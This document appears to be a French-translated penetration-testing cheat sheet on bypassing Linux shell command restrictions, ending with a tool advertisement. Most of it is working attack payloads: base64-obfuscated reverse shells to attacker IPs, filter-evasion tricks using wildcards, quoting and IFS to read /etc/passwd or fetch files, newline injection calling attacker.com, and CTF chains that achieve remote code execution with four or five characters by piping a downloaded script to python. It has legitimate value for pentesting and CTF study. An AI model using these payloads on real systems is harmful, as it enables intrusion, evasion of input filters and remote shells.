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# Double-Base64 is a great way to avoid bad characters like +, works 99% of the timeecho"echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' |base64|base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h"|sed's/ /${IFS}/g'# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
Coquille inversée courte
#Trick from Dikline#Get a rev shell with(sh)0>/dev/tcp/10.10.10.10/443#Then get the out of the rev shell executing inside of it:exec>&0
Contourner les chemins et les mots interdits
# Question mark binary substitution/usr/bin/p?ng# /usr/bin/pingnma?-p80localhost# /usr/bin/nmap -p 80 localhost# Wildcard(*) binary substitution/usr/bin/who*mi# /usr/bin/whoami# Wildcard + local directory argumentstouch---la# -- stops processing options after the --ls*echo*#List current files and folders with echo and wildcard# [chars]/usr/bin/n[c]# /usr/bin/nc# Quotes'p'i'n'g# ping"w"h"o"a"m"i# whoamiech''otest# echo testech""otest# echo testbas''e64# base64#Backslashes\u\n\a\m\e \-\a # uname -a/\b\i\n/////s\h# $@who$@ami#whoami# Transformations (case, reverse, base64)$(tr"[A-Z]""[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case$(a="WhOaMi";printf%s"${a,,}") #whoami -> transformation (only bash)$(rev<<<'imaohw') #whoamibash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64# Execution through $0echowhoami|$0# Uninitialized variables: A uninitialized variable equals to null (nothing)cat$u/etc$u/passwd$u # Use the uninitialized variable without {} before any symbolp${u}i${u}n${u}g# Equals to ping, use {} to put the uninitialized variables between valid characters# Fake commandsp$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shownw`u`h`u`o`u`a`u`m`u`i# Equals to whoami but 5 errors trying to execute "u" are shown# Concatenation of strings using history!-1# This will be substitute by the last command executed, and !-2 by the penultimate commandmi# This will throw an errorwhoa# This will throw an error!-1!-2# This will execute whoami
Contourner les espaces interdits
# {form}{cat,lol.txt} # cat lol.txt{echo,test} # echo test# IFS - Internal field separator, change " " for any other character ("]" in this case)cat${IFS}/etc/passwd# cat /etc/passwdcat$IFS/etc/passwd# cat /etc/passwd# Put the command line in a variable and then execute itIFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$bIFS=];b=cat]/etc/passwd;$b # Using 2 ";"IFS=,;`cat<<<cat,/etc/passwd`# Using cat twice# Other way, just change each space for ${IFS}echo${IFS}test# Using hex formatX=$'cat\x20/etc/passwd'&&$X# Using tabsecho"ls\x09-l"|bash# New linesp\i\n\g # These 4 lines will equal to ping# Undefined variables and !$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefineduname!-1\-a# This equals to uname -a
Obtenir des caractères à partir de variables d'environnement
echo ${LS_COLORS:10:1} #;echo ${PATH:0:1} #/
Exfiltration de données DNS
Vous pourriez utiliser burpcollab ou pingb par exemple.
Commandes intégrées
Dans le cas où vous ne pouvez pas exécuter des fonctions externes et que vous avez uniquement accès à un ensemble limité de commandes intégrées pour obtenir une exécution de code à distance (RCE), il existe quelques astuces pratiques pour y parvenir. Habituellement, vous ne pourrez pas utiliser toutes les commandes intégrées, donc vous devriez connaître toutes vos options pour essayer de contourner la restriction. Idée de devploit.
Tout d'abord, vérifiez toutes les commandes intégrées du shell. Ensuite, voici quelques recommandations:
# Get list of builtinsdeclare builtins# In these cases PATH won't be set, so you can try to set itPATH="/bin"/bin/lsexport PATH="/bin"declare PATH="/bin"SHELL=/bin/bash# Hex$(echo-e"\x2f\x62\x69\x6e\x2f\x6c\x73")$(echo-e"\x2f\x62\x69\x6e\x2f\x6c\x73")# Inputreadaaa; exec $aaa #Read more commands to execute and execute themreadaaa; eval $aaa# Get "/" char using printf and env varsprintf%.1s"$PWD"## Execute /bin/ls$(printf%.1s"$PWD")bin$(printf%.1s"$PWD")ls## To get several letters you can use a combination of printf anddeclaredeclare functionsdeclare historywords# Read flag in current dirsourcef*flag.txt:1:commandnotfound:CTF{asdasdasd}# Read file with readwhileread-rline; doecho $line; done< /etc/passwd# Get env variablesdeclare# Get historyhistorydeclare historydeclare historywords# Disable special builtins chars so you can abuse them as scripts[ #[: ']' expected## Disable "[" as builtin and enable it as scriptenable -n [echo -e'#!/bin/bash\necho "hello!"'> /tmp/[chmod +x [export PATH=/tmp:$PATHif [ "a" ]; then echo 1; fi# Will print hello!
# A regex that only allow letters and numbers might be vulnerable to new line characters1%0a`curlhttp://attacker.com`
Bashfuscator
# From https://github.com/Bashfuscator/Bashfuscator./bashfuscator-c'cat /etc/passwd'
Exécution de code à distance avec 5 caractères
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge#Oragnge Tsai solution## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration datehttp://host/?cmd=>ls\http://host/?cmd=ls>_http://host/?cmd=>\ \http://host/?cmd=>-t\http://host/?cmd=>\>ghttp://host/?cmd=ls>>_## Step2: generate `curl orange.tw|python` to file "g"## by creating the necesary filenames and writting that content to file "g" executing the previous generated filehttp://host/?cmd=>onhttp://host/?cmd=>th\http://host/?cmd=>py\http://host/?cmd=>\|\http://host/?cmd=>tw\http://host/?cmd=>e.\http://host/?cmd=>ng\http://host/?cmd=>ra\http://host/?cmd=>o\http://host/?cmd=>\ \http://host/?cmd=>rl\http://host/?cmd=>cu\http://host/?cmd=sh _# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file## Finally execute the file "g"http://host/?cmd=shg# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/## Execute tar command over a folderhttp://52.199.204.34/?cmd=>tarhttp://52.199.204.34/?cmd=>zcfhttp://52.199.204.34/?cmd=>zzzhttp://52.199.204.34/?cmd=*%20/h*# Another curiosity if you can read files of the current folderln/f*## If there is a file /flag.txt that will create a hard link## to it in the current folder
Exécution de code à distance avec 4 caractères
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands# it will follow the same principle of creating the command `ls -t>g` in a file# and then generate the full command in filenames# generate "g> ht- sl" to file "v"'>dir''>sl''>g\>''>ht-''*>v'# reverse file "v" to file "x", content "ls -th >g"'>rev''*v>x'# generate "curl orange.tw|python;"'>\;\\''>on\\''>th\\''>py\\''>\|\\''>tw\\''>e.\\''>ng\\''>ra\\''>o\\''>\ \\''>rl\\''>cu\\'# got shell'sh x''sh g'
Contournement de la restriction de lecture seule/Noexec/Distroless
Si vous vous trouvez dans un système de fichiers avec les protections en lecture seule et noexec ou même dans un conteneur distroless, il existe encore des moyens d'exécuter des binaires arbitraires, voire un shell !:
Utilisez Trickest pour construire et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :
